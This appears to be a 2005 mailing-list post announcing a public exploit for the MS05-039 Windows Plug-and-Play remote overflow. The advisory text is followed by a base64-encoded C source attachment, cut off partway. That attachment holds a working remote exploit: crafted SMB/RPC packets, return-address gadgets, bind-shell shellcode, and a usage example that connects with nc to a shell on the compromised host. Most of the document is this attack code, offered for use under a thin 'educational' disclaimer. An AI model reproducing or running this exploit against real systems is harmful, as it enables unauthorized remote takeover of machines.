------Axp7AeKy-k8ikyzkcG6yJ6q6b:1123857468
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 8bit


(MS05-039) Microsoft Windows Plug-and-Play Service Remote Overflow (Universal Exploit + no crash shellcode)

exploit attached.

Description:
A remote code execution and local elevation of privilege
vulnerability exists in Plug and Play that could allow an
attacker who successfully exploited this vulnerability to take
complete control of the affected system.

This is a remote code execution and local privilege elevation
vulnerability. On Windows 2000, an anonymous attacker could
remotely try to exploit this vulnerability.

On Windows XP Service Pack 1, only an authenticated user could
remotely try to exploit this vulnerability.
On Window XP Service Pack 2 and Windows Server 2003, only an
administrator can remotely access the affected component.
Therefore, on Windows XP Service Pack 2 and Windows Server 2003,
this is strictly a local privilege elevation vulnerability.
An anonymous user cannot remotely attempt to exploit this
vulnerability on Windows XP Service Pack 2 and Windows
Server 2003.

Solution:
http://www.microsoft.com/technet/sec.../MS05-039.mspx


------Axp7AeKy-k8ikyzkcG6yJ6q6b:1123857468
Content-Type: text/plain; name="HOD-ms05039-pnp-expl.c"
Content-Disposition: attachment; filename="HOD-ms05039-pnp-expl.c"
Content-Transfer-Encoding: base64

LyogSE9ELW1zMDUwMzktcG5wLWV4cGwuYzogMjAwNS0wOC0xMD ogUFVCTElDIHYuMC4yDQogKg0K
ICogQ29weXJpZ2h0IChjKSAyMDA1IGhvdXNlb2ZkYWJ1cy4NCi AqDQogKiAoTVMwNS0wMzkpIE1p
Y3Jvc29mdCBXaW5kb3dzIFBsdWctYW5kLVBsYXkgU2VydmljZS BSZW1vdGUgT3ZlcmZsb3cNCiAq
IFVuaXZlcnNhbCBFeHBsb2l0ICsgbm8gY3Jhc2ggc2hlbGxjb2 RlDQogKg0KICoNCiAqDQogKg0K
ICogICAgICAgICAgICAgICAgIC46OlsgaG91c2VvZmRhYnVzIF 06Oi4NCiAqDQogKg0KICoNCiAq
IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLQ0KICogRGVzY3JpcHRpb246DQogKiAgIC BBIHJlbW90ZSBjb2RlIGV4ZWN1
dGlvbiBhbmQgbG9jYWwgZWxldmF0aW9uIG9mIHByaXZpbGVnZQ 0KICogICAgdnVsbmVyYWJpbGl0
eSBleGlzdHMgaW4gUGx1ZyBhbmQgUGxheSB0aGF0IGNvdWxkIG FsbG93IGFuDQogKiAgICBhdHRh
Y2tlciB3aG8gc3VjY2Vzc2Z1bGx5IGV4cGxvaXRlZCB0aGlzIH Z1bG5lcmFiaWxpdHkgdG8gdGFr
ZQ0KICogICAgY29tcGxldGUgY29udHJvbCBvZiB0aGUgYWZmZW N0ZWQgc3lzdGVtLg0KICoNCiAq
ICAgIFRoaXMgaXMgYSByZW1vdGUgY29kZSBleGVjdXRpb24gYW 5kIGxvY2FsIHByaXZpbGVnZSBl
bGV2YXRpb24NCiAqICAgIHZ1bG5lcmFiaWxpdHkuIE9uIFdpbm Rvd3MgMjAwMCwgYW4gYW5vbnlt
b3VzIGF0dGFja2VyIGNvdWxkDQogKiAgICByZW1vdGVseSB0cn kgdG8gZXhwbG9pdCB0aGlzIHZ1
bG5lcmFiaWxpdHkuDQogKg0KICogICAgT24gV2luZG93cyBYUC BTZXJ2aWNlIFBhY2sgMSwgb25s
eSBhbiBhdXRoZW50aWNhdGVkIHVzZXIgY291bGQNCiAqICAgIH JlbW90ZWx5IHRyeSB0byBleHBs
b2l0IHRoaXMgdnVsbmVyYWJpbGl0eS4NCiAqICAgIE9uIFdpbm RvdyBYUCBTZXJ2aWNlIFBhY2sg
MiBhbmQgV2luZG93cyBTZXJ2ZXIgMjAwMywgb25seSBhbg0KIC ogICAgYWRtaW5pc3RyYXRvciBj
YW4gcmVtb3RlbHkgYWNjZXNzIHRoZSBhZmZlY3RlZCBjb21wb2 5lbnQuDQogKiAgICBUaGVyZWZv
cmUsIG9uIFdpbmRvd3MgWFAgU2VydmljZSBQYWNrIDIgYW5kIF dpbmRvd3MgU2VydmVyIDIwMDMs
DQogKiAgICB0aGlzIGlzIHN0cmljdGx5IGEgbG9jYWwgcHJpdm lsZWdlIGVsZXZhdGlvbiB2dWxu
ZXJhYmlsaXR5Lg0KICogICAgQW4gYW5vbnltb3VzIHVzZXIgY2 Fubm90IHJlbW90ZWx5IGF0dGVt
cHQgdG8gZXhwbG9pdCB0aGlzDQogKiAgICB2dWxuZXJhYmlsaX R5IG9uIFdpbmRvd3MgWFAgU2Vy
dmljZSBQYWNrIDIgYW5kIFdpbmRvd3MNCiAqICAgIFNlcnZlci AyMDAzLg0KICoNCiAqIC0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLQ0KICogU29sdXRpb246DQogKiAgICBodHRwOi8vd3 d3Lm1pY3Jvc29mdC5jb20vdGVj
aG5ldC9zZWN1cml0eS9CdWxsZXRpbi9NUzA1LTAzOS5tc3B4DQ ogKg0KICogLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0t
DQogKiBTeXN0ZW1zIEFmZmVjdGVkOg0KICogICAgLSBXaW5kb3 dzIFNlcnZlciAyMDAzLCBTUDEN
CiAqICAgIC0gV2luZG93cyBYUCBTUDEsIFNQMg0KICogICAgLS BXaW5kb3dzIDIwMDAgU1A0DQog
Kg0KICogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tDQogKiBUZXN0ZWQgb246DQogKi AgICAtIFdpbmRvd3MgMjAwMCBT
UDQNCiAqDQogKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAqIENvbXBpbGU6DQ ogKg0KICogV2luMzIvVkMrKyAg
OiBjbCAtbyBIT0QtbXMwNTAzOS1wbnAtZXhwbCBIT0QtbXMwNT AzOS1wbnAtZXhwbC5jDQogKiBX
aW4zMi9jeWd3aW46IGdjYyAtbyBIT0QtbXMwNTAzOS1wbnAtZX hwbCBIT0QtbXMwNTAzOS1wbnAt
ZXhwbC5jDQogKiBMaW51eCAgICAgICA6IGdjYyAtbyBIT0QtbX MwNTAzOS1wbnAtZXhwbCBIT0Qt
bXMwNTAzOS1wbnAtZXhwbC5jDQogKg0KICogLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tDQogKiBFeGFtcGxlOg0KICoN
CiAqIEM6XD5IT0QtbXMwNTAzOS1wbnAtZXhwbCAxOTIuMTY4Lj AuMSA3Nzc3DQogKg0KICogWypd
IGNvbm5lY3RpbmcgdG8gMTkyLjE2OC4wLjIyOjQ0NS4uLm9rDQ ogKiBbKl0gbnVsbCBzZXNzaW9u
Li4ub2sNCiAqIFsqXSBiaW5kIHBpcGUuLi5vaw0KICogWypdIH NlbmRpbmcgY3JhZnRlZCBwYWNr
ZXQuLi5vaw0KICogWypdIGNoZWNrIHlvdXIgc2hlbGwgb24gMT kyLjE2OC4wLjE6Nzc3Nw0KICog
Q3RybCtDDQogKg0KICogQzpcPm5jIDE5Mi4xNjguMC4xIDc3Nz cNCiAqDQogKiBNaWNyb3NvZnQg
V2luZG93cyAyMDAwIFtWZXJzaW9uIDUuMDAuMjE5NV0NCiAqIC hDKSBDb3B5cmlnaHQgMTk4NS0y
MDAwIE1pY3Jvc29mdCBDb3JwLg0KICoNCiAqIEM6XFdJTk5UXH N5c3RlbTMyPg0KICoNCiAqIC0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLQ0KICoNCiAqIFRoaXMgaXMgcHJvdmlkZWQgYX MgcHJvb2Ytb2YtY29uY2VwdCBj
b2RlIG9ubHkgZm9yIGVkdWNhdGlvbmFsDQogKiBwdXJwb3Nlcy BhbmQgdGVzdGluZyBieSBhdXRo
b3JpemVkIGluZGl2aWR1YWxzIHdpdGggcGVybWlzc2lvbg0KIC ogdG8gZG8gc28uDQogKg0KICov
DQoNCi8qICNkZWZpbmUgX1dJTjMyICovDQoNCiNpbmNsdWRlID xzdGRpby5oPg0KI2luY2x1ZGUg
PHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHN0cmluZy5oPg0KDQojaW ZkZWYgX1dJTjMyDQojaW5jbHVk
ZSA8d2luc29jazIuaD4NCiNwcmFnbWEgY29tbWVudChsaWIsIC J3czJfMzIiKQ0KI2Vsc2UNCiNp
bmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxuZXRpbm V0L2luLmg+DQojaW5jbHVkZSA8
c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojZW 5kaWYNCg0KDQp1bnNpZ25lZCBj
aGFyIFNNQl9OZWdvdGlhdGVbXSA9DQoJIlx4MDBceDAwXHgwMF x4ODVceEZGXHg1M1x4NERceDQy
XHg3Mlx4MDBceDAwXHgwMFx4MDBceDE4XHg1M1x4QzgiDQoJIl x4MDBceDAwXHgwMFx4MDBceDAw
XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXH hGRlx4RkUiDQoJIlx4MDBceDAw
XHgwMFx4MDBceDAwXHg2Mlx4MDBceDAyXHg1MFx4NDNceDIwXH g0RVx4NDVceDU0XHg1N1x4NEYi
DQoJIlx4NTJceDRCXHgyMFx4NTBceDUyXHg0Rlx4NDdceDUyXH g0MVx4NERceDIwXHgzMVx4MkVc
eDMwXHgwMFx4MDIiDQoJIlx4NENceDQxXHg0RVx4NERceDQxXH g0RVx4MzFceDJFXHgzMFx4MDBc
eDAyXHg1N1x4NjlceDZFXHg2NFx4NkYiDQoJIlx4NzdceDczXH gyMFx4NjZceDZGXHg3Mlx4MjBc
eDU3XHg2Rlx4NzJceDZCXHg2N1x4NzJceDZGXHg3NVx4NzAiDQ oJIlx4NzNceDIwXHgzM1x4MkVc
eDMxXHg2MVx4MDBceDAyXHg0Q1x4NERceDMxXHgyRVx4MzJceD U4XHgzMFx4MzAiDQoJIlx4MzJc
eDAwXHgwMlx4NENceDQxXHg0RVx4NERceDQxXHg0RVx4MzJceD JFXHgzMVx4MDBceDAyXHg0RVx4
NTQiDQoJIlx4MjBceDRDXHg0RFx4MjBceDMwXHgyRVx4MzFceD MyXHgwMCI7DQoNCg0KdW5zaWdu
ZWQgY2hhciBTTUJfU2Vzc2lvblNldHVwQW5kWFtdID0NCgkiXH gwMFx4MDBceDAwXHhBNFx4RkZc
eDUzXHg0RFx4NDJceDczXHgwMFx4MDBceDAwXHgwMFx4MThceD A3XHhDOCINCgkiXHgwMFx4MDBc
eDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceD AwXHgwMFx4MDBceEZGXHhGRSIN
CgkiXHgwMFx4MDBceDEwXHgwMFx4MENceEZGXHgwMFx4QTRceD AwXHgwNFx4MTFceDBBXHgwMFx4
MDBceDAwXHgwMCINCgkiXHgwMFx4MDBceDAwXHgyMFx4MDBceD AwXHgwMFx4MDBceDAwXHhENFx4
MDBceDAwXHg4MFx4NjlceDAwXHg0RSINCgkiXHg1NFx4NENceD REXHg1M1x4NTNceDUwXHgwMFx4
MDFceDAwXHgwMFx4MDBceDk3XHg4Mlx4MDhceEUwXHgwMCINCg kiXHgwMFx4MDBceDAwXHgwMFx4
MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MD BceDAwXHgwMCINCgkiXHg1N1x4
MDBceDY5XHgwMFx4NkVceDAwXHg2NFx4MDBceDZGXHgwMFx4Nz dceDAwXHg3M1x4MDBceDIwXHgw
MCINCgkiXHgzMlx4MDBceDMwXHgwMFx4MzBceDAwXHgzMFx4MD BceDIwXHgwMFx4MzJceDAwXHgz
MVx4MDBceDM5XHgwMCINCgkiXHgzNVx4MDBceDAwXHgwMFx4NT dceDAwXHg2OVx4MDBceDZFXHgw
MFx4NjRceDAwXHg2Rlx4MDBceDc3XHgwMCINCgkiXHg3M1x4MD BceDIwXHgwMFx4MzJceDAwXHgz
MFx4MDBceDMwXHgwMFx4MzBceDAwXHgyMFx4MDBceDM1XHgwMC INCgkiXHgyRVx4MDBceDMwXHgw
MFx4MDBceDAwXHgwMFx4MDAiOw0KDQoNCnVuc2lnbmVkIGNoYX IgU01CX1Nlc3Npb25TZXR1cEFu
ZFgyW10gPQ0KCSJceDAwXHgwMFx4MDBceERBXHhGRlx4NTNceD REXHg0Mlx4NzNceDAwXHgwMFx4
MDBceDAwXHgxOFx4MDdceEM4Ig0KCSJceDAwXHgwMFx4MDBceD AwXHgwMFx4MDBceDAwXHgwMFx4
MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4RkZceEZFIg0KCSJceD AwXHgwOFx4MjBceDAwXHgwQ1x4
RkZceDAwXHhEQVx4MDBceDA0XHgxMVx4MEFceDAwXHgwMFx4MD BceDAwIg0KCSJceDAwXHgwMFx4
MDBceDU3XHgwMFx4MDBceDAwXHgwMFx4MDBceEQ0XHgwMFx4MD BceDgwXHg5Rlx4MDBceDRFIg0K
CSJceDU0XHg0Q1x4NERceDUzXHg1M1x4NTBceDAwXHgwM1x4MD BceDAwXHgwMFx4MDFceDAwXHgw
MVx4MDBceDQ2Ig0KCSJceDAwXHgwMFx4MDBceDAwXHgwMFx4MD BceDAwXHg0N1x4MDBceDAwXHgw
MFx4MDBceDAwXHgwMFx4MDBceDQwIg0KCSJceDAwXHgwMFx4MD BceDAwXHgwMFx4MDBceDAwXHg0
MFx4MDBceDAwXHgwMFx4MDZceDAwXHgwNlx4MDBceDQwIg0KCS JceDAwXHgwMFx4MDBceDEwXHgw
MFx4MTBceDAwXHg0N1x4MDBceDAwXHgwMFx4MTVceDhBXHg4OF x4RTBceDQ4Ig0KCSJceDAwXHg0
Rlx4MDBceDQ0XHgwMFx4MDBceEVEXHg0MVx4MkNceDI3XHg4Nl x4MjZceEQyXHg1OVx4QTBceEIz
Ig0KCSJceDVFXHhBQVx4MDBceDg4XHg2Rlx4QzVceDU3XHgwMF x4NjlceDAwXHg2RVx4MDBceDY0
XHgwMFx4NkZceDAwIg0KCSJceDc3XHgwMFx4NzNceDAwXHgyMF x4MDBceDMyXHgwMFx4MzBceDAw
XHgzMFx4MDBceDMwXHgwMFx4MjBceDAwIg0KCSJceDMyXHgwMF x4MzFceDAwXHgzOVx4MDBceDM1
XHgwMFx4MDBceDAwXHg1N1x4MDBceDY5XHgwMFx4NkVceDAwIg 0KCSJceDY0XHgwMFx4NkZceDAw
XHg3N1x4MDBceDczXHgwMFx4MjBceDAwXHgzMlx4MDBceDMwXH gwMFx4MzBceDAwIg0KCSJceDMw
XHgwMFx4MjBceDAwXHgzNVx4MDBceDJFXHgwMFx4MzBceDAwXH gwMFx4MDBceDAwXHgwMCI7DQoN
Cg0KdW5zaWduZWQgY2hhciBTTUJfVHJlZUNvbm5lY3RBbmRYW1 0gPQ0KCSJceDAwXHgwMFx4MDBc
eDVBXHhGRlx4NTNceDREXHg0Mlx4NzVceDAwXHgwMFx4MDBceD AwXHgxOFx4MDdceEM4Ig0KCSJc
eDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceD AwXHgwMFx4MDBceDAwXHgwMFx4
RkZceEZFIg0KCSJceDAwXHgwOFx4MzBceDAwXHgwNFx4RkZceD AwXHg1QVx4MDBceDA4XHgwMFx4
MDFceDAwXHgyRlx4MDBceDAwIjsNCg0KDQoNCnVuc2lnbmVkIG NoYXIgU01CX1RyZWVDb25uZWN0
QW5kWF9bXSA9DQoJIlx4MDBceDAwXHgzRlx4M0ZceDNGXHgzRl x4M0ZceDAwIjsNCg0KDQovKiBi
cm93c2VyICovDQp1bnNpZ25lZCBjaGFyIFNNQl9QaXBlUmVxdW VzdF9icm93c2VyW10gPQ0KCSJc
eDAwXHgwMFx4MDBceDY2XHhGRlx4NTNceDREXHg0Mlx4QTJceD AwXHgwMFx4MDBceDAwXHgxOFx4
MDdceEM4Ig0KCSJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceD AwXHgwMFx4MDBceDAwXHgwMFx4
MDBceDAwXHgwOFx4NzhceDA0Ig0KCSJceDAwXHgwOFx4NDBceD AwXHgxOFx4RkZceDAwXHhERVx4
REVceDAwXHgxMFx4MDBceDE2XHgwMFx4MDBceDAwIg0KCSJceD AwXHgwMFx4MDBceDAwXHg5Rlx4
MDFceDAyXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MD BceDAwIg0KCSJceDAwXHgwMFx4
MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDFceDAwXHgwMFx4MD BceDQwXHgwMFx4MDBceDAwIg0K
CSJceDAyXHgwMFx4MDBceDAwXHgwM1x4MTNceDAwXHgwMFx4NU NceDAwXHg2Mlx4MDBceDcyXHgw
MFx4NkZceDAwIg0KCSJceDc3XHgwMFx4NzNceDAwXHg2NVx4MD BceDcyXHgwMFx4MDBceDAwIjsN
Cg0KDQp1bnNpZ25lZCBjaGFyIFNNQl9QTlBFbmRwb2ludFtdID 0NCi8qIDhkOWY0ZTQwLWEwM2Qt
MTFjZS04ZjY5LTA4MDAzZTMwMDUxYiB2MS4wOiBwbnAgKi8NCg kiXHgwMFx4MDBceDAwXHg5Q1x4
RkZceDUzXHg0RFx4NDJceDI1XHgwMFx4MDBceDAwXHgwMFx4MT hceDA3XHhDOCINCgkiXHgwMFx4
MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MD BceDAwXHgwMFx4MDhceDc4XHgw
NCINCgkiXHgwMFx4MDhceDUwXHgwMFx4MTBceDAwXHgwMFx4ND hceDAwXHgwMFx4MDBceDAwXHgx
MFx4MDBceDAwXHgwMCINCgkiXHgwMFx4MDBceDAwXHgwMFx4MD BceDAwXHgwMFx4MDBceDAwXHg1
NFx4MDBceDQ4XHgwMFx4NTRceDAwXHgwMiINCgkiXHgwMFx4Mj ZceDAwXHgwMFx4NDBceDU5XHgw
MFx4MDBceDVDXHgwMFx4NTBceDAwXHg0OVx4MDBceDUwXHgwMC INCgkiXHg0NVx4MDBceDVDXHgw
MFx4MDBceDAwXHg0MFx4MDBceDA1XHgwMFx4MEJceDAzXHgxMF x4MDBceDAwXHgwMCINCgkiXHg0
OFx4MDBceDAwXHgwMFx4MDFceDAwXHgwMFx4MDBceEI4XHgxMF x4QjhceDEwXHgwMFx4MDBceDAw
XHgwMCINCgkiXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMV x4MDBceDQwXHg0RVx4OUZceDhE
XHgzRFx4QTBceENFXHgxMSINCgkiXHg4Rlx4NjlceDA4XHgwMF x4M0VceDMwXHgwNVx4MUJceDAx
XHgwMFx4MDBceDAwXHgwNFx4NURceDg4XHg4QSINCgkiXHhFQl x4MUNceEM5XHgxMVx4OUZceEU4
XHgwOFx4MDBceDJCXHgxMFx4NDhceDYwXHgwMlx4MDBceDAwXH gwMCI7DQoNCg0KDQp1bnNpZ25l
ZCBjaGFyIFJQQ19jYWxsW10gPQ0KCSJceDAwXHgwMFx4MDhceD kwXHhGRlx4NTNceDREXHg0Mlx4
MjVceDAwXHgwMFx4MDBceDAwXHgxOFx4MDdceEM4Ig0KCSJceD AwXHgwMFx4MDBceDAwXHgwMFx4
MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwOFx4Nz hceDA0Ig0KCSJceDAwXHgwOFx4
NjBceDAwXHgxMFx4MDBceDAwXHgzQ1x4MDhceDAwXHgwMFx4MD BceDAxXHgwMFx4MDBceDAwIg0K
CSJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MD BceDU0XHgwMFx4M0NceDA4XHg1
NFx4MDBceDAyIg0KCSJceDAwXHgyNlx4MDBceDAwXHg0MFx4NE RceDA4XHgwMFx4NUNceDAwXHg1
MFx4MDBceDQ5XHgwMFx4NTBceDAwIg0KCSJceDQ1XHgwMFx4NU NceDAwXHgwMFx4MDBceDQwXHgw
MFx4MDVceDAwXHgwMFx4MDNceDEwXHgwMFx4MDBceDAwIg0KCS JceDNDXHgwOFx4MDBceDAwXHgw
MVx4MDBceDAwXHgwMFx4MjRceDA4XHgwMFx4MDBceDAwXHgwMF x4MzZceDAwIg0KCSJceDExXHgw
MFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MTFceDAwXHgwMF x4MDBceDUyXHgwMFx4NEZceDAw
Ig0KCSJceDRGXHgwMFx4NTRceDAwXHg1Q1x4MDBceDUzXHgwMF x4NTlceDAwXHg1M1x4MDBceDU0
XHgwMFx4NDVceDAwIg0KCSJceDREXHgwMFx4NUNceDAwXHgzMF x4MDBceDMwXHgwMFx4MzBceDAw
XHgzMFx4MDBceDAwXHgwMFx4MDBceDAwIg0KCSJceEZGXHhGRl x4MDBceDAwXHhFMFx4MDdceDAw
XHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIg 0KCSJceEMwXHgwN1x4MDBceDAw
XHgwMFx4MDBceDAwXHgwMFx4OTBceDkwXHg5MFx4OTBceDkwXH g5MFx4OTBceDkwIg0KCSJceEVC
XHgwOFx4OTBceDkwXHg2N1x4MTVceDdhXHg3Nlx4RUJceDA4XH g5MFx4OTBceDY3XHgxNVx4N2Fc
eDc2Ig0KCSJceEVCXHgwOFx4OTBceDkwXHg2N1x4MTVceDdhXH g3Nlx4RUJceDA4XHg5MFx4OTBc
eDY3XHgxNVx4N2FceDc2Ig0KCSJceEVCXHgwOFx4OTBceDkwXH g2N1x4MTVceDdhXHg3Nlx4RUJc
eDA4XHg5MFx4OTBceDY3XHgxNVx4N2FceDc2Ig0KCSJceEVCXH gwOFx4OTBceDkwXHg2N1x4MTVc
eDdhXHg3Nlx4RUJceDA4XHg5MFx4OTBceDY3XHgxNVx4N2FceD c2Ig0KDQoJLyogam1wIG92ZXIg
LSBlbnRyeSBwb2ludCAqLw0KCSJceEVCXHgwOFx4OTBceDkwIg 0KDQoJLyogcG9wIHJlZzsgcG9w
IHJlZzsgcmV0bjsgLSB1bXBucG1nci5kbGwgKi8NCgkiXHg2N1 x4MTVceDdhXHg3NiIgLyogMHg3
NjdhMTU2NyAqLw0KDQoJLyogam1wIGVieCAtIHVtcG5wbWdyLm RsbA0KCSJceDZmXHgzNlx4N2Fc
eDc2IiAqLw0KDQoJIlx4RUJceDA4XHg5MFx4OTBceDY3XHgxNV x4N2FceDc2Ig0KCSJceDkwXHg5
MFx4OTBceDkwXHg5MFx4OTBceDkwXHhFQlx4MDhceDkwXHg5MF x4NDhceDRGXHg0NFx4ODhceDkw
Ig0KCSJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MF x4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwIjsNCg0KDQp1bnNpZ25lZCBjaGFyIFJQQ1 9jYWxsX2VuZFtdID0NCgkiXHhF
MFx4MDdceDAwXHgwMFx4MDRceDAwXHgwMFx4MDBceDAwXHgwMF x4MDBceDAwIjsNCg0KDQp1bnNp
Z25lZCBjaGFyIGJpbmRfc2hlbGxjb2RlW10gPQ0KCSJceDI5XH hjOVx4ODNceGU5XHhiMFx4ZDlc
eGVlXHhkOVx4NzRceDI0XHhmNFx4NWJceDgxXHg3M1x4MTNceD E5Ig0KCSJceGY1XHgwNFx4Mzdc
eDgzXHhlYlx4ZmNceGUyXHhmNFx4ZTVceDlmXHhlZlx4N2FceG YxXHgwY1x4ZmJceGM4Ig0KCSJc
eGU2XHg5NVx4OGZceDViXHgzZFx4ZDFceDhmXHg3Mlx4MjVceD dlXHg3OFx4MzJceDYxXHhmNFx4
ZWJceGJjIg0KCSJceDU2XHhlZFx4OGZceDY4XHgzOVx4ZjRceG VmXHg3ZVx4OTJceGMxXHg4Zlx4
MzZceGY3XHhjNFx4YzRceGFlIg0KCSJceGI1XHg3MVx4YzRceD QzXHgxZVx4MzRceGNlXHgzYVx4
MThceDM3XHhlZlx4YzNceDIyXHhhMVx4MjBceDFmIg0KCSJceD ZjXHgxMFx4OGZceDY4XHgzZFx4
ZjRceGVmXHg1MVx4OTJceGY5XHg0Zlx4YmNceDQ2XHhlOVx4MD VceGRjIg0KCSJceDFhXHhkOVx4
OGZceGJlXHg3NVx4ZDFceDE4XHg1Nlx4ZGFceGM0XHhkZlx4NT NceDkyXHhiNlx4MzRceGJjIg0K
CSJceDU5XHhmOVx4OGZceDQ3XHgwNVx4NThceDhmXHg3N1x4MT FceGFiXHg2Y1x4YjlceDU3XHhm
Ylx4ZThceDY3Ig0KCSJceGU2XHgyM1x4NjJceDY0XHg3Zlx4OW RceDM3XHgwNVx4NzFceDgyXHg3
N1x4MDVceDQ2XHhhMVx4ZmJceGU3Ig0KCSJceDcxXHgzZVx4ZT lceGNiXHgyMlx4YTVceGZiXHhl
MVx4NDZceDdjXHhlMVx4NTFceDk4XHgxOFx4MGNceDM1Ig0KCS JceDRjXHg5Zlx4MDZceGM4XHhj
OVx4OWRceGRkXHgzZVx4ZWNceDU4XHg1M1x4YzhceGNmXHhhNl x4NTdceDY0Ig0KCSJceDRhXHhh
Nlx4NDdceDY0XHg1YVx4YTZceGZiXHhlN1x4N2ZceDlkXHgxYV x4NTVceDdmXHhhNlx4OGRceGQ2
Ig0KCSJceDhjXHg5ZFx4YTBceDJkXHg2OVx4MzJceDUzXHhjOF x4Y2ZceDlmXHgxNFx4NjZceDRj
XHgwYVx4ZDRceDVmIg0KCSJceGJkXHg1OFx4MmFceGRlXHg0ZV x4MGFceGQyXHg2NFx4NGNceDBh
XHhkNFx4NWZceGZjXHhiY1x4ODJceDdlIg0KCSJceDRlXHgwYV x4ZDJceDY3XHg0ZFx4YTFceDUx
XHhjOFx4YzlceDY2XHg2Y1x4ZDBceDYwXHgzM1x4N2RceDYwIg 0KCSJceGU2XHgyM1x4NTFceGM4
XHhjOVx4OTNceDZlXHg1M1x4N2ZceDlkXHg2N1x4NWFceDkwXH gxMFx4NmVceDY3Ig0KCSJceDQw
XHhkY1x4YzhceGJlXHhmZVx4OWZceDQwXHhiZVx4ZmJceGM0XH hjNFx4YzRceGIzXHgwYlx4NDZc
eDFhIg0KCSJceGU3XHhiN1x4MjhceGE0XHg5NFx4OGZceDNjXH g5Y1x4YjJceDVlXHg2Y1x4NDVc
eGU3XHg0Nlx4MTJceGM4Ig0KCSJceDZjXHhiMVx4ZmJceGUxXH g0Mlx4YTJceDU2XHg2Nlx4NDhc
eGE0XHg2ZVx4MzZceDQ4XHhhNFx4NTFceDY2Ig0KCSJceGU2XH gyNVx4NmNceDlhXHhjMFx4ZjBc
eGNhXHg2NFx4ZTZceDIzXHg2ZVx4YzhceGU2XHhjMlx4ZmJceG U3Ig0KCSJceDkyXHhhMlx4Zjhc
eGI0XHhkZFx4OTFceGZiXHhlMVx4NGJceDBhXHhkNFx4NWZceG Y2XHgzYlx4ZTRceDU3Ig0KCSJc
eDRhXHgwYVx4ZDJceGM4XHhjOVx4ZjVceDA0XHgzNyI7DQoNCi NkZWZpbmUgU0VUX1BPUlRCSU5E
X1BPUlQoYnVmLCBwb3J0KSBcDQoJKih1bnNpZ25lZCBzaG9ydC AqKSgoKGJ1ZikrMTg2KSkgPSAo
cG9ydCkNCg0KDQp2b2lkDQpjb252ZXJ0X25hbWUoY2hhciAqb3 V0LCBjaGFyICpuYW1lKQ0Kew0K
CXVuc2lnbmVkIGxvbmcgbGVuOw0KDQoJbGVuID0gc3RybGVuKG 5hbWUpOw0KCW91dCArPSBsZW4g
KiAyIC0gMTsNCgl3aGlsZSAobGVuLS0pIHsNCgkJKm91dC0tID 0gJ1x4MDAnOw0KCQkqb3V0LS0g
PSBuYW1lW2xlbl07DQoJfQ0KfQ0KDQoNCg0KaW50DQptYWluIC hpbnQgYXJnYywgY2hhciAqKmFy
Z3YpDQp7DQoJc3RydWN0IHNvY2thZGRyX2luIGFkZHI7DQoJc3 RydWN0IGhvc3RlbnQgKmhlOw0K
CWludCBsZW47DQoJaW50IHNvY2tmZDsNCgl1bnNpZ25lZCBzaG 9ydCBzbWJsZW47DQoJdW5zaWdu
ZWQgc2hvcnQgYmluZHBvcnQ7DQoJdW5zaWduZWQgY2hhciB0bX BbMTAyNF07DQoJdW5zaWduZWQg
Y2hhciBwYWNrZXRbNDA5Nl07DQoJdW5zaWduZWQgY2hhciAqcH RyOw0KCWNoYXIgcmVjdmJ1Zls0
MDk2XTsNCg0KI2lmZGVmIF9XSU4zMg0KCVdTQURBVEEgd3NhOw 0KCVdTQVN0YXJ0dXAoTUFLRVdP
UkQoMiwwKSwgJndzYSk7DQojZW5kaWYNCg0KCXByaW50ZigiXG 4gICAgICAoTVMwNS0wMzkpIE1p
Y3Jvc29mdCBXaW5kb3dzIFBsdWctYW5kLVBsYXkgU2VydmljZS BSZW1vdGUgT3ZlcmZsb3dcbiIp
Ow0KCXByaW50ZigiXHQgICAgICAgICBVbml2ZXJzYWwgRXhwbG 9pdCArIG5vIGNyYXNoIHNoZWxs
Y29kZVxuXG5cbiIpOw0KCXByaW50ZigiXHQgICAgICAgICAgIC BDb3B5cmlnaHQgKGMpIDIwMDUg
